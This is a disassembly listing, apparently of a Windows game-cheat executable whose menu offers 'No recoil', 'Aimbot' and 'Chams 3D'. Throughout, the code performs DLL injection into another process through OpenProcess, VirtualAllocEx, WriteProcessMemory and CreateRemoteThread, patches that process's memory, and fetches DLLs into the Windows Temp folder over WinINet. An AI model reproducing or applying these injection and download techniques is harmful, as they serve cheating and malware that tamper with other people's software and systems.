call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, qword [rbp + 0x410]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x410], rsi
mov rax, qword [rbp + 0x410]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x40c], edx
lea rcx, [rbp + 0x418]
call fcn.14004cfd0
lea rcx, [rbp + 0x420]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x4b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp qword [rbp - 0x80], 0xf
lea rcx, [rsp + 0x68]
cmova rcx, qword [rsp + 0x68]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x140049773
cmp qword [rbp - 0x80], 0xf
lea r8, [rsp + 0x68]
mov dword [rsp + 0x28], 1
lea rdx, str.open
cmova r8, qword [rsp + 0x68]
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x20], r15
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.1400457d0
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov rcx, rax
mov rdi, rax
lea r8d, [rdx + 0x1b]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, reloc.WLDAP32.dll_Ordinal_27
mov qword [rsp + 0x20], r15
mov rdx, rax
lea r8, str.C:WindowsTemp_fi625v.dll
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140158f90]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov r9, rax
mov dword [rsp + 0x28], r15d
xor edx, edx
mov qword [rsp + 0x20], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
mov r8d, reloc.WLDAP32.dll_Ordinal_27
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, 0x190
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Beep]
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140049877
mov rcx, qword [rbp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049872
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c012
call fcn.14011b97c
mov rdx, qword [rbp - 0x80]
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x60], 0
cmp rdx, 0xf
jbe 0x1400498c3
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400498be
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c012
call fcn.14011b97c
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
mov rbx, qword [0x1401a4480]
cmp dword [rbx + 0x48c0], 0
jg 0x1400498ff
mov r8d, 0x705
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48c8]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.140007e10
movss xmm1, dword [0x1401da2cc]
mov rbx, rax
movss xmm0, dword [0x1401da2c8]
mov rcx, qword [0x1401a4480]
movss dword [rbp + 0x8a4], xmm1
movss xmm1, dword [0x1401da2d4]
movss dword [rbp + 0x8a0], xmm0
mulss xmm1, dword [rcx + 0x37f0]
lea rcx, [rbp + 0x8a0]
movss xmm0, dword [0x1401da2d0]
movss dword [rbp + 0x8a8], xmm0
movss dword [rbp + 0x8ac], xmm1
call fcn.140004010
movsd xmm0, qword [0x140172108]
mov r14d, eax
mov rdi, qword [0x1401a4498]
movsd qword [rbp - 0x68], xmm0
mov dword [rbp + 0x2a8], 0x3f800000
mov dword [rbp + 0x2ac], 0x3f800000
mov qword [rbp + 0x2b0], 0
mov qword [rbp + 0x2b8], 0
test eax, 0xff000000
je 0x140049a64
mov rsi, qword [rbx + 0x98]
cmp rdi, rsi
je 0x1400499d8
mov rdx, rdi
mov rcx, rbx
call fcn.1400211e0
mov edx, 6
mov rcx, rbx
lea r8d, [rdx - 2]
call fcn.140021260
lea rax, [rbp + 0x2a8]
mov dword [rsp + 0x28], r14d
lea r9, [rbp + 0x2b0]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x68]
mov rcx, rbx
lea rdx, [rbp + 0x2b8]
call fcn.1400213a0
cmp rdi, rsi
je 0x140049a64
cmp dword [rbx + 0x68], 0
jg 0x140049a39
mov r8d, 0x71b
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rcx, dword [rbx + 0x68]
lea eax, [rcx - 1]
mov dword [rbx + 0x68], eax
test eax, eax
jne 0x140049a4c
mov rax, r15
jmp 0x140049a55
mov rax, qword [rbx + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.140020f70
mov rcx, qword [0x1401a4480]
lea rdx, [rbp + 0x2c0]
movss xmm0, dword [0x140172108]
mulss xmm0, xmm13
mov dword [rbp + 0x2c0], 0x438c0000
mov rax, qword [rcx + 0x3ef0]
mov dword [rbp + 0x2c4], 0x420c0000
subss xmm0, xmm9
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
lea rcx, str.No_recoil
movss xmm2, dword [rax + 0x20]
movss xmm1, dword [rax + 0x24]
subss xmm2, dword [rax + 0x84]
subss xmm1, dword [rax + 0x88]
mov byte [rax + 0x141], 1
addss xmm2, xmm0
addss xmm1, dword [0x14015a400]
movss dword [rax + 0x100], xmm2
movss dword [rax + 0x104], xmm1
call fcn.1400304c0
test al, al
je 0x14004bb27
xorps xmm0, xmm0
mov dword [rsp + 0x68], 0xe92d4ff0
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov dword [rsp + 0x6c], 0xe28db01c
lea rcx, [rbp - 0x68]
mov dword [rsp + 0x70], 0xe24dd004
movdqu xmmword [rbp - 0x68], xmm0
mov dword [rsp + 0x74], 0xed2d8b04
mov dword [rsp + 0x78], 0xe24dd098
mov dword [rsp + 0x7c], 0xe1a07000
mov dword [rbp - 0x80], 0xe59f0290
mov dword [rbp - 0x7c], 0xe1a06003
mov qword [rbp - 0x58], r15
call fcn.14003c750
mov r15, qword [rbp - 0x68]
lea rdx, [rsp + 0x68]
mov rcx, r15
mov r8d, reloc.WLDAP32.dll_Ordinal_32
call sub.VCRUNTIME140.dll_memmove
xorps xmm0, xmm0
mov dword [rsp + 0x68], 0xe3a00001
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov dword [rsp + 0x6c], 0xe12fff1e
lea rcx, [rbp - 0x38]
mov dword [rsp + 0x70], 0xe24dd004
movdqu xmmword [rbp - 0x38], xmm0
mov dword [rsp + 0x74], 0xed2d8b04
mov dword [rsp + 0x78], 0xe24dd098
mov dword [rsp + 0x7c], 0xe1a07000
mov dword [rbp - 0x80], 0xe59f0290
mov dword [rbp - 0x7c], 0xe1a06003
mov qword [rbp - 0x28], 0
call fcn.14003c750
mov rbx, qword [rbp - 0x38]
lea rdx, [rsp + 0x68]
mov rcx, rbx
mov r8d, reloc.WLDAP32.dll_Ordinal_32
call sub.VCRUNTIME140.dll_memmove
call fcn.140044eb0
mov rcx, rax
call fcn.140045180
test eax, eax
je 0x140049d43
mov r8d, eax
mov dword [0x1401c5630], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1401c5638], rax
test rax, rax
je 0x140049d43
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll__msize]
mov rdi, rax
test eax, eax
jle 0x140049d43
mov rdx, qword [0x1401c5640]
mov rcx, qword [0x1401c5648]
cmp rdx, rcx
jne 0x140049ce5
lea rax, [0x1401c5640]
mov r9, r15
xor edx, edx
mov qword [rsp + 0x20], rax
movabs r8, 0x7fffffffffff
lea rcx, [0x1401c5630]
call fcn.140045250
mov rdx, qword [0x1401c5640]
mov rax, qword [0x1401c5648]
cmp rdx, rax
je 0x140049d43
sub rax, rdx
xor esi, esi
sar rax, 3
test rax, rax
je 0x140049d43
movsxd r14, edi
xor edi, edi
nop dword [rax + rax]
mov rdx, qword [rdx + rdi]
mov r9, r14
mov rcx, qword [0x1401c5638]
mov r8, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1401c5648]
lea rdi, [rdi + 8]
mov rdx, qword [0x1401c5640]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140049ca0
jmp 0x140049d43
sub rcx, rdx
xor esi, esi
sar rcx, 3
test rcx, rcx
je 0x140049d43
movsxd r14, edi
xor edi, edi
nop dword [rax + rax]
mov rdx, qword [rdx + rdi]
mov r9, r14
mov rcx, qword [0x1401c5638]
mov r8, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1401c5648]
lea rdi, [rdi + 8]
mov rdx, qword [0x1401c5640]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140049d00
test rbx, rbx
je 0x140049d7c
mov rdx, qword [rbp - 0x28]
mov rax, rbx
sub rdx, rbx
cmp rdx, 0x1000
jb 0x140049d74
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c019
mov rcx, rbx
call fcn.14011b97c
test r15, r15
je 0x14004bb27
mov rdx, qword [rbp - 0x58]
mov rax, r15
sub rdx, r15
cmp rdx, 0x1000
jb 0x140049db1
mov r15, qword [r15 - 8]
add rdx, 0x27
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c019
mov rcx, r15
call fcn.14011b97c
jmp 0x14004bb27
cmp eax, 3
jne 0x14004a4ee
mov rcx, qword [0x1401a4480]
lea rdx, [rbp + 0x2c8]
mov dword [rbp + 0x2c8], 0x41c80000
mov dword [rbp + 0x2cc], 0x41c80000
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
lea rcx, [0x14014b944]
movss xmm1, dword [rax + 0x20]
movss xmm0, dword [rax + 0x24]
subss xmm1, dword [rax + 0x84]
subss xmm0, dword [rax + 0x88]
mov byte [rax + 0x141], 1
addss xmm1, xmm11
addss xmm0, xmm11
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
call fcn.140030d90
test al, al
je 0x140049e53
mov dword [0x1401a4490], 2
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14004bb2c
movss xmm0, dword [0x140172108]
divss xmm0, dword [0x14015a388]
mov rbx, qword [0x1401a4480]
mov rcx, qword [0x1401a44f0]
mov qword [rbp - 0x68], rcx
mov rdi, rcx
mov rax, qword [rbx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rbx + 0x3ef0]
movss xmm2, dword [rax + 0x20]
movss xmm1, dword [rax + 0x24]
subss xmm0, xmm9
subss xmm2, dword [rax + 0x84]
subss xmm1, dword [rax + 0x88]
mov byte [rax + 0x141], 1
addss xmm2, xmm0
movss xmm0, dword [0x14017210c]
divss xmm0, dword [0x14015a388]
movss dword [rax + 0x100], xmm2
subss xmm0, dword [0x14015a3c4]
addss xmm1, xmm0
movss dword [rax + 0x104], xmm1
test rcx, rcx
jne 0x140049f32
mov rcx, qword [rbx + 0x68]
mov rdi, rcx
test rcx, rcx
jne 0x140049f2e
mov rdi, qword [rbx + 0x58]
cmp dword [rdi + 0x58], ecx
jg 0x140049f24
mov r8d, 0x705
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rdi + 0x60]
mov rcx, qword [rax]
mov rdi, rcx
mov qword [rbp - 0x68], rcx
call fcn.140011c90
lea rcx, [rbx + 0x4858]
lea rdx, [rbp - 0x68]
call fcn.14001e800
mov rdx, qword [rdi + 0x40]
mov rcx, qword [rbx + 0x3ef0]
mov rdx, qword [rdx + 8]
mov rcx, qword [rcx + 0x298]
call fcn.1400211e0
mov rcx, qword [0x1401a4480]
lea rbx, str.JX_CHEAT
mov qword [rsp + 0x30], r15
lea rdx, [rbp + 0x2d0]
mov qword [rsp + 0x28], rbx
movaps xmm3, xmm8
movss dword [rsp + 0x20], xmm10
movss xmm2, dword [rcx + 0x3c40]
mov rcx, qword [rcx + 0x3c38]
call fcn.14002a150
movss xmm0, dword [rbp + 0x2d0]
lea rcx, [rbp + 0x8b0]
movsd xmm2, qword [0x14015a348]
addss xmm0, xmm7
mov dword [rbp + 0x2dc], 0x42700000
cvttss2si eax, xmm0
movd xmm1, eax
mov rax, qword [0x1401a4480]
cvtdq2ps xmm1, xmm1
cvtps2pd xmm0, xmm1
movss dword [rbp + 0x2d0], xmm1
movss xmm1, dword [0x1401da2a8]
subsd xmm2, xmm0
movss dword [rbp + 0x8b0], xmm1
movss xmm1, dword [0x1401da2b0]
movss dword [rbp + 0x8b8], xmm1
movss xmm1, dword [0x1401da21c]
addsd xmm2, qword [0x14015a338]
movss dword [rbp + 0x8c4], xmm1
cvtpd2ps xmm0, xmm2
movss xmm2, dword [rax + 0x37f0]
movss dword [rbp + 0x2d8], xmm0
movss xmm0, dword [0x1401da2ac]
movss dword [rbp + 0x8b4], xmm0
movaps xmm0, xmm2
mulss xmm0, dword [0x1401da2b4]
mulss xmm2, dword [0x1401da224]
movss dword [rbp + 0x8bc], xmm0
movss xmm0, dword [0x1401da218]
movss dword [rbp + 0x8c0], xmm0
movss xmm0, dword [0x1401da220]
movss dword [rbp + 0x8c8], xmm0
movss dword [rbp + 0x8cc], xmm2
call fcn.140004010
lea rcx, [rbp + 0x8c0]
mov r8d, eax
call fcn.140004010
movss xmm3, dword [0x14015a3b4]
mov edx, eax
lea rax, [rbp + 0x2d8]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140030ab0
call fcn.140011dc0
mov rbx, qword [0x1401a4480]
cmp dword [rbx + 0x48c0], 0
jg 0x14004a0e6
mov r8d, 0x705
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48c8]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.140007e10
movss xmm1, dword [0x1401da2cc]
mov rbx, rax
movss xmm0, dword [0x1401da2c8]
mov rcx, qword [0x1401a4480]
movss dword [rbp + 0x8d4], xmm1
movss xmm1, dword [0x1401da2d4]
movss dword [rbp + 0x8d0], xmm0
mulss xmm1, dword [rcx + 0x37f0]
lea rcx, [rbp + 0x8d0]
movss xmm0, dword [0x1401da2d0]
movss dword [rbp + 0x8d8], xmm0
movss dword [rbp + 0x8dc], xmm1
call fcn.140004010
movsd xmm0, qword [0x140172108]
mov r14d, eax
mov rdi, qword [0x1401a4498]
movsd qword [rbp - 0x68], xmm0
mov dword [rbp + 0x2e0], 0x3f800000
mov dword [rbp + 0x2e4], 0x3f800000
mov qword [rbp + 0x2e8], 0
mov qword [rbp + 0x2f0], 0
test eax, 0xff000000
je 0x14004a24b
mov rsi, qword [rbx + 0x98]
cmp rdi, rsi
je 0x14004a1bf
mov rdx, rdi
mov rcx, rbx
call fcn.1400211e0
mov edx, 6
mov rcx, rbx
lea r8d, [rdx - 2]
call fcn.140021260
lea rax, [rbp + 0x2e0]
mov dword [rsp + 0x28], r14d
lea r9, [rbp + 0x2e8]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x68]
mov rcx, rbx
lea rdx, [rbp + 0x2f0]
call fcn.1400213a0
cmp rdi, rsi
je 0x14004a24b
cmp dword [rbx + 0x68], 0
jg 0x14004a220
mov r8d, 0x71b
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rcx, dword [rbx + 0x68]
lea eax, [rcx - 1]
mov dword [rbx + 0x68], eax
test eax, eax
jne 0x14004a233
mov rax, r15
jmp 0x14004a23c
mov rax, qword [rbx + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.140020f70
mov rbx, qword [0x1401a4480]
movss xmm0, dword [0x140172108]
mulss xmm0, xmm13
mov rax, qword [rbx + 0x3ef0]
subss xmm0, xmm9
mov byte [rax + 0xb8], 1
mov rax, qword [rbx + 0x3ef0]
movss xmm2, dword [rax + 0x20]
movss xmm1, dword [rax + 0x24]
subss xmm2, dword [rax + 0x84]
subss xmm1, dword [rax + 0x88]
mov byte [rax + 0x141], 1
addss xmm2, xmm0
addss xmm1, dword [0x14015a3d4]
movss dword [rax + 0x100], xmm2
movss dword [rax + 0x104], xmm1
cmp dword [rbx + 0x48c0], 0
jg 0x14004a2d9
mov r8d, 0x705
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48c8]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.140007e10
movss xmm1, dword [0x1401da2cc]
mov rbx, rax
movss xmm0, dword [0x1401da2c8]
mov rcx, qword [0x1401a4480]
movss dword [rbp + 0x8e4], xmm1
movss xmm1, dword [0x1401da2d4]
movss dword [rbp + 0x8e0], xmm0
mulss xmm1, dword [rcx + 0x37f0]
lea rcx, [rbp + 0x8e0]
movss xmm0, dword [0x1401da2d0]
movss dword [rbp + 0x8e8], xmm0
movss dword [rbp + 0x8ec], xmm1
call fcn.140004010
movsd xmm0, qword [0x140172108]
mov r14d, eax
mov rdi, qword [0x1401a4498]
movsd qword [rbp - 0x68], xmm0
mov dword [rbp + 0x2f8], 0x3f800000
mov dword [rbp + 0x2fc], 0x3f800000
mov qword [rbp + 0x300], 0
mov qword [rbp + 0x308], 0
test eax, 0xff000000
je 0x14004a43e
mov rsi, qword [rbx + 0x98]
cmp rdi, rsi
je 0x14004a3b2
mov rdx, rdi
mov rcx, rbx
call fcn.1400211e0
mov edx, 6
mov rcx, rbx
lea r8d, [rdx - 2]
call fcn.140021260
lea rax, [rbp + 0x2f8]
mov dword [rsp + 0x28], r14d
lea r9, [rbp + 0x300]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x68]
mov rcx, rbx
lea rdx, [rbp + 0x308]
call fcn.1400213a0
cmp rdi, rsi
je 0x14004a43e
cmp dword [rbx + 0x68], 0
jg 0x14004a413
mov r8d, 0x71b
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rcx, dword [rbx + 0x68]
lea eax, [rcx - 1]
mov dword [rbx + 0x68], eax
test eax, eax
jne 0x14004a426
mov rax, r15
jmp 0x14004a42f
mov rax, qword [rbx + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.140020f70
mov rcx, qword [0x1401a4480]
lea rdx, [rbp + 0x310]
movss xmm0, dword [0x140172108]
mulss xmm0, xmm13
mov dword [rbp + 0x310], 0x438c0000
mov rax, qword [rcx + 0x3ef0]
mov dword [rbp + 0x314], 0x420c0000
subss xmm0, xmm9
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
lea rcx, str.Aimbot
movss xmm2, dword [rax + 0x20]
movss xmm1, dword [rax + 0x24]
subss xmm2, dword [rax + 0x84]
subss xmm1, dword [rax + 0x88]
mov byte [rax + 0x141], 1
addss xmm2, xmm0
addss xmm1, dword [0x14015a3ec]
movss dword [rax + 0x100], xmm2
movss dword [rax + 0x104], xmm1
call fcn.1400304c0
test al, al
je 0x14004a4e4
mov edx, 0x190
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Beep]
call fcn.140015bf0
jmp 0x14004bb27
cmp eax, 7
jne 0x14004bb2c
mov rcx, qword [0x1401a4480]
lea rdx, [rbp + 0x318]
mov dword [rbp + 0x318], 0x41c80000
mov dword [rbp + 0x31c], 0x41c80000
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
lea rcx, [0x14014b944]
movss xmm1, dword [rax + 0x20]
movss xmm0, dword [rax + 0x24]
subss xmm1, dword [rax + 0x84]
subss xmm0, dword [rax + 0x88]
mov byte [rax + 0x141], 1
addss xmm1, xmm11
addss xmm0, xmm11
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
call fcn.140030d90
test al, al
je 0x14004a583
mov dword [0x1401a4490], 2
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14004bb2c
mov rbx, qword [0x1401a4480]
mov rcx, qword [0x1401a44f0]
movss xmm0, dword [0x140172108]
mov rdi, rcx
mulss xmm0, xmm13
mov rax, qword [rbx + 0x3ef0]
mov qword [rbp - 0x68], rcx
subss xmm0, xmm9
mov byte [rax + 0xb8], 1
mov rax, qword [rbx + 0x3ef0]
movss xmm2, dword [rax + 0x20]
movss xmm1, dword [rax + 0x24]
subss xmm2, dword [rax + 0x84]
subss xmm1, dword [rax + 0x88]
mov byte [rax + 0x141], 1
addss xmm2, xmm0
movss xmm0, dword [0x14017210c]
mulss xmm0, xmm13
movss dword [rax + 0x100], xmm2
subss xmm0, dword [0x14015a3c4]
addss xmm1, xmm0
movss dword [rax + 0x104], xmm1
test rcx, rcx
jne 0x14004a65c
mov rcx, qword [rbx + 0x68]
mov rdi, rcx
test rcx, rcx
jne 0x14004a658
mov rdi, qword [rbx + 0x58]
cmp dword [rdi + 0x58], ecx
jg 0x14004a64e
mov r8d, 0x705
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rdi + 0x60]
mov rcx, qword [rax]
mov rdi, rcx
mov qword [rbp - 0x68], rcx
call fcn.140011c90
lea rcx, [rbx + 0x4858]
lea rdx, [rbp - 0x68]
call fcn.14001e800
mov rdx, qword [rdi + 0x40]
mov rcx, qword [rbx + 0x3ef0]
mov rdx, qword [rdx + 8]
mov rcx, qword [rcx + 0x298]
call fcn.1400211e0
mov rcx, qword [0x1401a4480]
lea rbx, str._JX_CHEAT
mov qword [rsp + 0x30], r15
lea rdx, [rbp + 0x320]
mov qword [rsp + 0x28], rbx
movaps xmm3, xmm8
movss dword [rsp + 0x20], xmm10
movss xmm2, dword [rcx + 0x3c40]
mov rcx, qword [rcx + 0x3c38]
call fcn.14002a150
movss xmm0, dword [rbp + 0x320]
lea rcx, [rbp + 0x8f0]
addss xmm0, xmm7
mov dword [rbp + 0x32c], 0x42a00000
cvttss2si eax, xmm0
movss xmm0, dword [0x14015a3e0]
movd xmm1, eax
mov rax, qword [0x1401a4480]
cvtdq2ps xmm1, xmm1
movss xmm2, dword [rax + 0x37f0]
subss xmm0, xmm1
movss dword [rbp + 0x320], xmm1
movss xmm1, dword [0x1401da2ac]
movss dword [rbp + 0x8f4], xmm1
movss xmm1, dword [0x1401da21c]
movss dword [rbp + 0x904], xmm1
addss xmm0, dword [0x14015a3a8]
movss dword [rbp + 0x328], xmm0
movss xmm0, dword [0x1401da2a8]
movss dword [rbp + 0x8f0], xmm0
movss xmm0, dword [0x1401da2b0]
movss dword [rbp + 0x8f8], xmm0
movaps xmm0, xmm2
mulss xmm0, dword [0x1401da2b4]
mulss xmm2, dword [0x1401da224]
movss dword [rbp + 0x8fc], xmm0
movss xmm0, dword [0x1401da218]
movss dword [rbp + 0x900], xmm0
movss xmm0, dword [0x1401da220]
movss dword [rbp + 0x908], xmm0
movss dword [rbp + 0x90c], xmm2
call fcn.140004010
lea rcx, [rbp + 0x900]
mov r8d, eax
call fcn.140004010
mov edx, eax
movaps xmm3, xmm6
lea rax, [rbp + 0x328]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140030ab0
call fcn.140011dc0
mov rbx, qword [0x1401a4480]
cmp dword [rbx + 0x48c0], 0
jg 0x14004a804
mov r8d, 0x705
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48c8]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.140007e10
movss xmm1, dword [0x1401da2cc]
mov rbx, rax
movss xmm0, dword [0x1401da2c8]
mov rcx, qword [0x1401a4480]
movss dword [rbp + 0x914], xmm1
movss xmm1, dword [0x1401da2d4]
movss dword [rbp + 0x910], xmm0
mulss xmm1, dword [rcx + 0x37f0]
lea rcx, [rbp + 0x910]
movss xmm0, dword [0x1401da2d0]
movss dword [rbp + 0x918], xmm0
movss dword [rbp + 0x91c], xmm1
call fcn.140004010
movsd xmm0, qword [0x140172108]
mov r14d, eax
mov rdi, qword [0x1401a4498]
movsd qword [rbp - 0x68], xmm0
mov dword [rbp + 0x330], 0x3f800000
mov dword [rbp + 0x334], 0x3f800000
mov qword [rbp + 0x338], 0
mov qword [rbp + 0x340], 0
test eax, 0xff000000
je 0x14004a969
mov rsi, qword [rbx + 0x98]
cmp rdi, rsi
je 0x14004a8dd
mov rdx, rdi
mov rcx, rbx
call fcn.1400211e0
mov edx, 6
mov rcx, rbx
lea r8d, [rdx - 2]
call fcn.140021260
lea rax, [rbp + 0x330]
mov dword [rsp + 0x28], r14d
lea r9, [rbp + 0x338]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x68]
mov rcx, rbx
lea rdx, [rbp + 0x340]
call fcn.1400213a0
cmp rdi, rsi
je 0x14004a969
cmp dword [rbx + 0x68], 0
jg 0x14004a93e
mov r8d, 0x71b
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rcx, dword [rbx + 0x68]
lea eax, [rcx - 1]
mov dword [rbx + 0x68], eax
test eax, eax
jne 0x14004a951
mov rax, r15
jmp 0x14004a95a
mov rax, qword [rbx + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.140020f70
mov rcx, qword [0x1401a4480]
lea rdx, [rbp + 0x348]
movss xmm0, dword [0x140172108]
mulss xmm0, xmm13
mov dword [rbp + 0x348], 0x438c0000
mov rax, qword [rcx + 0x3ef0]
mov dword [rbp + 0x34c], 0x42340000
subss xmm0, xmm9
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
lea rcx, str.Chams_3D
movss xmm2, dword [rax + 0x20]
movss xmm1, dword [rax + 0x24]
subss xmm2, dword [rax + 0x84]
subss xmm1, dword [rax + 0x88]
mov byte [rax + 0x141], 1
addss xmm2, xmm0
addss xmm1, dword [0x14015a3d8]
movss dword [rax + 0x100], xmm2
movss dword [rax + 0x104], xmm1
call fcn.1400304c0
test al, al
je 0x14004ad17
xorps xmm0, xmm0
mov qword [rsp + 0x78], r15
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp - 0x80], r15
movups xmmword [rsp + 0x68], xmm0
call fcn.14011b630
movups xmm0, xmmword [str.C:WindowsTempChamsmenu.dll]
mov qword [rsp + 0x68], rax
lea r8, [rbp + 0x48]
mov qword [rsp + 0x78], Ordinal_32
mov r9d, 4
mov qword [rbp - 0x80], Ordinal_32
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140158fe8]
lea edx, [r9 + 0x1b]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x140158ff0]
mov dword [rax + 0x18], ecx
movzx ecx, byte [0x140158ff4]
mov byte [rax + 0x1c], cl
xor ecx, ecx
mov byte [rax + 0x1d], 0
mov dword [rbp + 0x48], 0xc00
call qword [sym.imp.WININET.dll_InternetSetOptionA]
xorps xmm0, xmm0
mov qword [rbp - 0x28], r15
mov ecx, 0xc0
mov qword [rbp - 0x20], r15
